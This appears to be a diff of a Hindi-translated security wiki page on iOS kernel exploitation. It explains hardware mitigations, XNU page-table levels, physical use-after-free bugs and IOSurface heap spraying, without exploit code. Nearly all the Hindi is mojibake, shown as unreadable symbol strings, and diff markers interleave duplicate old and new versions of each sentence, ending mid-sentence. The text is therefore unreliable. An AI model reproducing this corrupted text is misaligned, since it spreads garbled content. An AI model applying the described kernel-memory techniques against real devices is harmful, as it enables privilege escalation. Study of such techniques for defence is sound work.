**AMCC (Apple Mobile File Integrity)** рдХреЗ рдирд╛рдо рд╕реЗ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, kernel рдХреА code pages рдХреА рд╕рддрдд рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдЙрдиреНрд╣реЗрдВ modify рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛред рдЕрдЧрд░ рдХреЛрдИ tampering detect рд╣реЛрддрд╛ рд╣реИтАФрдЬреИрд╕реЗ exploit kernel functions рдХреЛ patch рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗтАФрддреЛ device рддреБрд░рдВрдд panic рдХрд░ reboot рд╣реЛ рдЬрд╛рдПрдЧрд╛ред рдпрд╣ persistent kernel exploits рдХреЛ рдмрд╣реБрдд рдХрдард┐рди рдмрдирд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ attackers kernel instructions рдХреЛ hook рдпрд╛ patch рдХрд┐рдП рдмрд┐рдирд╛ persistence рд╣рд╛рд╕рд┐рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред +- **Kernel Text Readonly Region (KTRR)** iOS devices рдкрд░ рдПрдХ hardware-based security feature рд╣реИред рдпрд╣ CPU рдХреЗ memory controller рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ kernel рдХреЗ code (text) рд╕реЗрдХреНрд╢рди рдХреЛ boot рдХреЗ рдмрд╛рдж permanently read-only mark рдХрд░ рджреЗрддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ lock рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, kernel рднреА рдЗрд╕ memory region рдХреЛ modify рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдЗрд╕рд╕реЗ attackers рдФрд░ privileged code рджреЛрдиреЛрдВ рдХреЛ runtime рдкрд░ kernel code patch рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИред +- **Pointer Authentication Codes (PAC)** pointers рдХреЗ unused bits рдореЗрдВ cryptographic signatures embed рдХрд░рдХреЗ рдЙрдирдХреА integrity verify рдХрд░рддреЗ рд╣реИрдВред рдЬрдм pointer (рдЬреИрд╕реЗ return address рдпрд╛ function pointer) рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, CPU рдЗрд╕реЗ secret key рд╕реЗ sign рдХрд░рддрд╛ рд╣реИ; dereference рд╕реЗ рдкрд╣рд▓реЗ CPU signature check рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ pointer tamper рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рддреЛ check fail рдХрд░ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ execution рд░реБрдХ рдЬрд╛рддреА рд╣реИред рдЗрд╕рд╕реЗ attackers рдХреЗ рд▓рд┐рдП corrupted pointers рдХреЛ forge рдпрд╛ reuse рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ ROP/JOP рдЬреИрд╕реА techniques рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ рдХрд░рдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +- **Privilege Access never (PAN)** рдПрдХ hardware feature рд╣реИ рдЬреЛ kernel (privileged mode) рдХреЛ рд╕реАрдзреЗ user-space memory рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ рд╡рд╣ explicitly access enable рди рдХрд░реЗред рдЗрд╕рд╕реЗ kernel code execution рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ attackers рдХреЗ рд▓рд┐рдП user memory рдкрдврд╝рдирд╛/рд▓рд┐рдЦрдирд╛ рдФрд░ sensitive data рдЪреБрд░рд╛рдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред PAN strict separation рд▓рд╛рдЧреВ рдХрд░рдХреЗ kernel exploits рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИред +- **Page Protection Layer (PPL)** рдПрдХ iOS security mechanism рд╣реИ рдЬреЛ critical kernel-managed memory regions, рдЦрд╛рд╕рдХрд░ those related to code signing рдФрд░ entitlements, рдХреЛ protect рдХрд░рддрд╛ рд╣реИред рдпрд╣ MMU рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд checks рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ strict write protections рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ privileged kernel code рднреА sensitive pages рдХреЛ arbitrary рд░реВрдк рд╕реЗ modify рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдпрд╣ kernel-level execution рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ attackers рдХреЗ рд▓рд┐рдП code-signing bypasses рдФрд░ persistence рдХреЛ рдмрд╣реБрдд рдХрдард┐рди рдмрдирд╛рддрд╛ рд╣реИред ## Physical use-after-free @@ -23,89 +22,89 @@ This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-explo ### Memory management in XNU -iOS рдкрд░ user processes рдХреЗ рд▓рд┐рдП **virtual memory address space** **0x0 рд╕реЗ 0x8000000000** рддрдХ рдлреИрд▓рд╛ рд╣реБрдЖ рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпреЗ addresses рд╕реАрдзреЗ physical memory рд╕реЗ рдореИрдк рдирд╣реАрдВ рд╣реЛрддреЗред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **kernel** virtual addresses рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ **physical addresses** рдореЗрдВ translate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **page tables** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред +User processes рдХреЗ рд▓рд┐рдП **virtual memory address space** iOS рдкрд░ **0x0 to 0x8000000000** рддрдХ рдлреИрд▓рд╛ рд╣реБрдЖ рд╣реИред рдпреЗ addresses рд╕реАрдзреЗ physical memory рд╕реЗ map рдирд╣реАрдВ рд╣реЛрддреЗред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **kernel** page tables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ virtual addresses рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ **physical addresses** рдореЗрдВ translate рдХрд░рддрд╛ рд╣реИред #### Levels of Page Tables in iOS -Page tables рддреАрди рд╕реНрддрд░реЛрдВ рдореЗрдВ hierarchical рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ: +Page tables hierarchical рддрд░реАрдХреЗ рд╕реЗ рддреАрди levels рдореЗрдВ organize рд╣реЛрддреЗ рд╣реИрдВ: 1. **L1 Page Table (Level 1)**: -* рдпрд╣рд╛рдБ рд╣рд░ entry virtual memory рдХреЗ рдПрдХ рдмрдбрд╝реЗ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИред -* рдпрд╣ **0x1000000000 bytes** (рдпрд╛ **256 GB**) рдХреА virtual memory рдХреЛ рдХрд╡рд░ рдХрд░рддреА рд╣реИред +* рдпрд╣рд╛рдБ рд╣рд░ entry virtual memory рдХрд╛ рдмрдбрд╝рд╛ range represent рдХрд░рддреА рд╣реИред +* рдпрд╣ **0x1000000000 bytes** (рдпрд╛ **256 GB**) рдХрд╛ virtual memory cover рдХрд░рддреА рд╣реИ. 2. **L2 Page Table (Level 2)**: -* рдпрд╣рд╛рдБ рдХреА рдПрдХ entry virtual memory рдХреЗ рдПрдХ рдЫреЛрдЯреЗ рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **0x2000000 bytes** (32 MB)ред -* рдЕрдЧрд░ рдПрдХ L1 entry рдкреВрд░реЗ рдХреНрд╖реЗрддреНрд░ рдХреЛ рд╕реНрд╡рдпрдВ рдореИрдк рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА рддреЛ рд╡рд╣ рдПрдХ L2 table рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИред +* рдпрд╣рд╛рдБ рдХреА entry virtual memory рдХрд╛ рдЫреЛрдЯрд╛ рдХреНрд╖реЗрддреНрд░ represent рдХрд░рддреА рд╣реИ, specifically **0x2000000 bytes** (32 MB). +* рдЕрдЧрд░ рдХреЛрдИ L1 entry рдкреВрд░реЗ region рдХреЛ рд╕реНрд╡рдпрдВ map рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА рддреЛ рд╡рд╣ рдПрдХ L2 table рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИред 3. **L3 Page Table (Level 3)**: -* рдпрд╣ рд╕рдмрд╕реЗ рд╕реВрдХреНрд╖реНрдо рд╕реНрддрд░ рд╣реИ, рдЬрд╣рд╛рдБ рд╣рд░ entry рдПрдХ single **4 KB** memory page рдХреЛ рдореИрдк рдХрд░рддреА рд╣реИред -* рдЕрдЧрд░ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рддреЛ рдПрдХ L2 entry L3 table рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИред +* рдпрд╣ рд╕рдмрд╕реЗ fine-grained level рд╣реИ, рдЬрд╣рд╛рдБ рд╣рд░ entry рдПрдХ single **4 KB** memory page рдХреЛ map рдХрд░рддреА рд╣реИред +* рдЕрдЧрд░ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ control рдЪрд╛рд╣рд┐рдП рддреЛ L2 entry рдПрдХ L3 table рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИред #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: -* рдкреЗрдЬ рдЯреЗрдмрд▓ рдХреА рдХреБрдЫ entries рд╕реАрдзреЗ рддреМрд░ рдкрд░ рдПрдХ range of virtual addresses рдХреЛ contiguous physical addresses рдХреЗ range рд╕реЗ рдореИрдк рдХрд░ рджреЗрддреА рд╣реИрдВ (рдПрдХ рддрд░рд╣ рдХрд╛ рд╢реЙрд░реНрдЯрдХрдЯ)ред +* рдХреБрдЫ entries page table рдореЗрдВ рд╕реАрдзреЗ рдПрдХ range of virtual addresses рдХреЛ contiguous range of physical addresses рд╕реЗ map рдХрд░рддреА рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ shortcut). * **Pointer to Child Page Table**: -* рдЕрдЧрд░ рдФрд░ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХреА рдХреА рдЬрд░реВрд░рдд рд╣реЛ, рддреЛ рдПрдХ рд╕реНрддрд░ рдХреА entry (рдЙрджрд╛., L1) рдЕрдЧрд▓реЗ рд╕реНрддрд░ рдкрд░ рдПрдХ **child page table** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд╕рдХрддреА рд╣реИ (рдЙрджрд╛., L2)ред +* рдпрджрд┐ рдЕрдзрд┐рдХ granular control рдХреА рдЬрд╝рд░реВрд░рдд рд╣реЛ, рддреЛ рдПрдХ level рдХреА entry (рдЙрджрд╛., L1) рдЕрдЧрд▓реА level (рдЙрджрд╛., L2) рдореЗрдВ рдПрдХ child page table рдХреА рдУрд░ pointer рдХрд░ рд╕рдХрддреА рд╣реИред #### Example: Mapping a Virtual Address -рдорд╛рди рд▓реАрдЬрд┐рдП рдЖрдк virtual address **0x1000000000** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ: +рдорд╛рдирд╛ рдЖрдк virtual address **0x1000000000** рдХреЛ access рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ: 1. **L1 Table**: -* kernel рдЙрд╕ virtual address рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд L1 page table entry рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдЙрд╕рдореЗрдВ **pointer to an L2 page table** рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ L2 table рдкрд░ рдЬрд╛рддрд╛ рд╣реИред +* kernel рдЗрд╕ virtual address рдХреЗ рд▓рд┐рдП L1 page table entry рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдЙрд╕рдореЗрдВ **pointer to an L2 page table** рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ L2 table рдкрд░ рдЬрд╛рддрд╛ рд╣реИред 2. **L2 Table**: -* kernel рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдореИрдкрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП L2 page table рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдЗрд╕ entry рдореЗрдВ **pointer to an L3 page table** рд╣реИ, рддреЛ рд╡рд╣ рд╡рд╣рд╛рдВ рдЬрд╛рддрд╛ рд╣реИред +* kernel рдЕрдзрд┐рдХ рдбрд┐рдЯреЗрд▓ mapping рдХреЗ рд▓рд┐рдП L2 page table рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдЗрд╕ entry рдореЗрдВ **pointer to an L3 page table** рд╣реИ, рддреЛ рд╡рд╣ рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реИред 3. **L3 Table**: -* kernel рдЕрдВрддрд┐рдо L3 entry рджреЗрдЦрддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ memory page рдХреЗ **physical address** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред +* kernel final L3 entry рджреЗрдЦрддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ memory page рдХреЗ **physical address** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред #### Example of Address Mapping -рдпрджрд┐ рдЖрдк L2 table рдХреЗ рдкрд╣рд▓реЗ index рдореЗрдВ physical address **0x800004000** рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддрдм: +рдпрджрд┐ рдЖрдк physical address **0x800004000** рдХреЛ L2 table рдХреЗ first index рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддреЛ: -* Virtual addresses **0x1000000000** рд╕реЗ **0x1002000000** рддрдХ physical addresses **0x800004000** рд╕реЗ **0x802004000** рддрдХ рдореИрдк рд╣реЛрдВрдЧреЗред -* рдпрд╣ L2 рд╕реНрддрд░ рдкрд░ рдПрдХ **block mapping** рд╣реИред +* Virtual addresses **0x1000000000** рд╕реЗ **0x1002000000** рддрдХ physical addresses **0x800004000** рд╕реЗ **0x802004000** рддрдХ map рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред +* рдпрд╣ L2 level рдкрд░ рдПрдХ **block mapping** рд╣реИред -рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЕрдЧрд░ L2 entry рдХрд┐рд╕реА L3 table рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИ: +рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЕрдЧрд░ L2 entry рдПрдХ L3 table рдХреА рдУрд░ pointer рдХрд░рддреА рд╣реИ: -* Virtual address рд░реЗрдВрдЬ **0x1000000000 -> 0x1002000000** рдореЗрдВ рд╣рд░ 4 KB page рдХреЛ L3 table рдХреА рд╡реНрдпрдХреНрддрд┐рдЧрдд entries рджреНрд╡рд╛рд░рд╛ рдореИрдк рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +* Virtual address range **0x1000000000 -> 0x1002000000** рдХреЗ рд╣рд░ 4 KB page рдХреЛ L3 table рдХреА individual entries map рдХрд░реЗрдВрдЧреАред ### Physical use-after-free -рдПрдХ **physical use-after-free (UAF)** рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм: +A **physical use-after-free** (UAF) рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм: -1. рдХреЛрдИ process рдХреБрдЫ memory рдХреЛ **readable рдФрд░ writable** рдХреЗ рд░реВрдк рдореЗрдВ **allocate** рдХрд░рддрд╛ рд╣реИред -2. **page tables** рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ memory process рдХреЗ рд▓рд┐рдП рдПрдХ specific physical address рд╕реЗ рдореИрдк рд╣реЛ рдЬрд╛рдПред -3. process рдЙрд╕ memory рдХреЛ **deallocate** (free) рдХрд░ рджреЗрддрд╛ рд╣реИред -4. рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрд┐рд╕реА **bug** рдХреЗ рдХрд╛рд░рдг kernel **mapping рдХреЛ page tables рд╕реЗ рд╣рдЯрд╛рдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИ**, рдЬрдмрдХрд┐ рд╡рд╣ corresponding physical memory рдХреЛ free рдЪрд┐рд╣реНрдирд┐рдд рдХрд░ рджреЗрддрд╛ рд╣реИред -5. kernel рдлрд┐рд░ рдЗрд╕ "freed" physical memory рдХреЛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧреЛрдВ (рдЬреИрд╕реЗ рдХрд┐ **kernel data**) рдХреЗ рд▓рд┐рдП **reallocate** рдХрд░ рд╕рдХрддрд╛ рд╣реИред -6. рдХреНрдпреЛрдВрдХрд┐ mapping рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЧрдпрд╛ рдерд╛, process рдЕрднреА рднреА рдЙрд╕ physical memory рдХреЛ **read рдФрд░ write** рдХрд░ рд╕рдХрддрд╛ рд╣реИред +1. рдХреЛрдИ process рдХреБрдЫ memory **allocates** рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ **readable рдФрд░ writable** рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +2. **page tables** рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ memory process рдХреЛ рдПрдХ specific physical address рдкрд░ access рджреЗ рд╕рдХреЗред +3. Process рдЙрд╕ memory рдХреЛ **deallocates (frees)** рдХрд░ рджреЗрддрд╛ рд╣реИред +4. рд▓реЗрдХрд┐рди рдХрд┐рд╕реА **bug** рдХреЗ рдХрд╛рд░рдг, kernel page tables рд╕реЗ рдЙрд╕ mapping рдХреЛ **рд╣рдЯрд╛ рджреЗрдирд╛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИ**, рдЬрдмрдХрд┐ corresponding physical memory рдХреЛ free mark рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +5. Kernel рдлрд┐рд░ рдЗрд╕ "freed" physical memory рдХреЛ рджреВрд╕рд░реЗ рдкреНрд░рдпреЛрдЬрдиреЛрдВ рдХреЗ рд▓рд┐рдП **reallocate** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **kernel data**ред +6. рдЪреВрдВрдХрд┐ mapping remove рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛, process рдЕрдм рднреА рдЗрд╕ physical memory рдХреЛ **read рдФрд░ write** рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ process **kernel memory рдХреЗ pages** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдпрд╛ рд╕рдВрд░рдЪрдирд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ attacker рдХреЛ **kernel memory рдХреЛ manipulate** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ process **kernel memory рдХреЗ pages** рдХреЛ access рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдпрд╛ structures рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ attacker рдХреЛ **kernel memory manipulate** рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИред ### IOSurface Heap Spray -рдЪреВрдВрдХрд┐ attacker рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ freed memory рдХреЛ рдХрд┐рд╕ specific kernel page рдкрд░ allocate рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд╡реЗ рдПрдХ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **heap spray** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ: +рдЪреВрдВрдХрд┐ attacker рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ рдХрд┐рд╕ specific kernel pages рдХреЛ freed memory рдХреЗ рд▓рд┐рдП allocate рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд╡реЗ рдПрдХ technique рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **heap spray** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ: -1. attacker kernel memory рдореЗрдВ рдмрд╣реБрдд рд╕реЗ IOSurface objects **create** рдХрд░рддрд╛ рд╣реИред -2. рд╣рд░ IOSurface object рдХреЗ рдПрдХ field рдореЗрдВ рдПрдХ рдкрд╣рдЪрд╛рдирдпреЛрдЧреНрдп **magic value** рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкрд╣рдЪрд╛рди рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддреА рд╣реИред -3. рд╡реЗ freed pages рдХреЛ **scan** рдХрд░рддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ IOSurface object рдХрд┐рд╕реА freed page рдкрд░ рдЖ рдЧрдпрд╛ рд╣реИред -4. рдЬрдм рдЙрдиреНрд╣реЗрдВ freed page рдкрд░ рдПрдХ IOSurface object рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **kernel memory рдХреЛ read рдФрд░ write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +1. Attacker kernel memory рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реА **IOSurface objects** рдмрдирд╛рддрд╛ рд╣реИред +2. рд╣рд░ IOSurface object рдХреЗ рдПрдХ field рдореЗрдВ рдПрдХ **magic value** рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИред +3. рд╡реЗ freed pages рдХреЛ **scan** рдХрд░рддреЗ рд╣реИрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ IOSurface object рдХрд┐рд╕реА freed page рдкрд░ land рд╣реБрдЖ рд╣реИред +4. рдЬрдм рд╡реЗ рдХрд┐рд╕реА freed page рдкрд░ IOSurface object рдЦреЛрдЬ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рд╡реЗ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **kernel memory рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ** рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдЗрд╕ рдкрд░ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ iOS 16+ (A12+) devices рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ mitigations (рдЬреИрд╕реЗ PPL рдпрд╛ SPTM) рд▓рд╛рддреЗ рд╣реИрдВ рдЬреЛ physical UAF рддрдХрдиреАрдХреЛрдВ рдХреЛ рдХрд╛рдлреА рдХрдо рдкреНрд░рднрд╛рд╡реА рдмрдирд╛рддреЗ рд╣реИрдВред -> PPL code signing, entitlements, рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ kernel рдбреЗрдЯрд╛ рд╕реЗ рдЬреБрдбрд╝реЗ рдкреЗрдЬреЛрдВ рдкрд░ рдХрдбрд╝реЗ MMU protections рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рднрд▓реЗ рд╣реА рдХреЛрдИ рдкреЗрдЬ reuse рд╣реЛ рдЬрд╛рдП, userland рдпрд╛ compromised kernel code рд╕реЗ PPL-protected рдкреЗрдЬреЛрдВ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢реЗрдВ рдмреНрд▓реЙрдХ рд╣реЛ рдЬрд╛рддреА рд╣реИрдВред -> Secure Page Table Monitor (SPTM) PPL рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реИ рдФрд░ page table updates рдХреЛ рдЦреБрдж рд╣реА harden рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ privileged kernel code рднреА freed pages рдХреЛ рдЪреБрдкрдЪрд╛рдк remap рдпрд╛ mappings рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдмрд┐рдирд╛ secure checks рдХреЗред -> KTRR (Kernel Text Read-Only Region) kernel рдХреЗ code section рдХреЛ boot рдХреЗ рдмрд╛рдж read-only рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА runtime рдмрджрд▓рд╛рд╡ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ, рдЬреЛ physical UAF exploits рдЕрдХреНрд╕рд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, `IOSurface` allocations рдЕрдм рдХрдо predictable рд╣реИрдВ рдФрд░ user-accessible рдХреНрд╖реЗрддреНрд░реЛрдВ рдореЗрдВ map рдХрд░рдирд╛ рдХрдард┐рди рд╣реИ, рдЬрд┐рд╕рд╕реЗ тАЬmagic value scanningтАЭ рдЯреНрд░рд┐рдХ рдХрдо рднрд░реЛрд╕реЗрдордВрдж рд╣реЛ рдЬрд╛рддреА рд╣реИред рдФрд░ `IOSurface` рдЕрдм entitlements рдФрд░ sandbox restrictions рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ iOS 16+ (A12+) devices 